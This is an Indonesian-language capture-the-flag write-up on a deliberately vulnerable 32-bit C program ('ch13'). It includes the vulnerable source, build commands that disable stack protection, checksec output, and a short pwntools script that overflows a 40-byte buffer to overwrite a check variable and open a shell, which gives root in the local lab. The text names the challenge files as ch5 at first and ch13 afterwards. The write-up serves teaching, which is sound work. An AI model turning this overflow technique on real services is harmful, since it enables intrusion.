[REDACTED]
Masalah
Diberikan berkas ch5
dan source code ch5.c
yang dijalankan sebagai layanan pada nc localhost 31337
.
Penyelesaian
Persiapan
Compile source code ch5.c
menjadi binary ch13
dan jalankan berkas ch13
sebagai layanan dengan perintah ini.
$ gcc -m32 -o ch13 ch13.c -fno-stack-protector
$ socat tcp-l:31337,reuseaddr,fork EXEC:./ch13
Pengumpulan Informasi
Periksa jenis binary menggunakan file
dan keamanan binary dengan checksec
serta jalankan secara normal terlebih dahulu
$ file ch13
ch13: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=07c63f3bf0717be2d1d39f6cf22b39af1b8d3d12, not stripped
$ checksec ch13
[*] '/.../ch13'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ ./ch13
dummy
[buf]: dummy
[check] 0x4030201
Arsitektur yang digunakan adalah Linux 32 bit dan tidak menggunakan proteksi apapun. Adapun alur program meminta input dan memeriksa apakah isi variabel check
telah berubah. Jika melihat source code ada struktur kondisi yang jika nilai sama dengan 0xdeadbeef
maka Shell bisa dieksekusi.
Isi source code ch13.c
.
#include <stdlib.h>
#include <stdio.h>
int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way!\n");
if (check == 0xdeadbeef)
{ printf("Yeah dude! You win!\nOpening your shell...\n");
system("/bin/dash");
printf("Shell closed! Bye.\n");
}
return 0;
}
Identifikasi Kelemahan
Berdasarkan pengumpulan informasi diatas maka terdapat kelemahan yang bisa dieksploitasi. Salah satunya memanfaatkan kelemahan Buffer Overflow pada fungsi fgets
yang bisa digunakan untuk menimpa stack variabel check
.
Eksploitasi
Kami menulis script solver.py
untuk mengeksploitasi binary tersebut.
from pwn import *
p = 'A'*40
p += p32(0xdeadbeef)
h = remote('localhost', 31337)
h.sendline(p)
h.interactive()
Luaran.
[+] Opening connection to localhost on port 31337: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root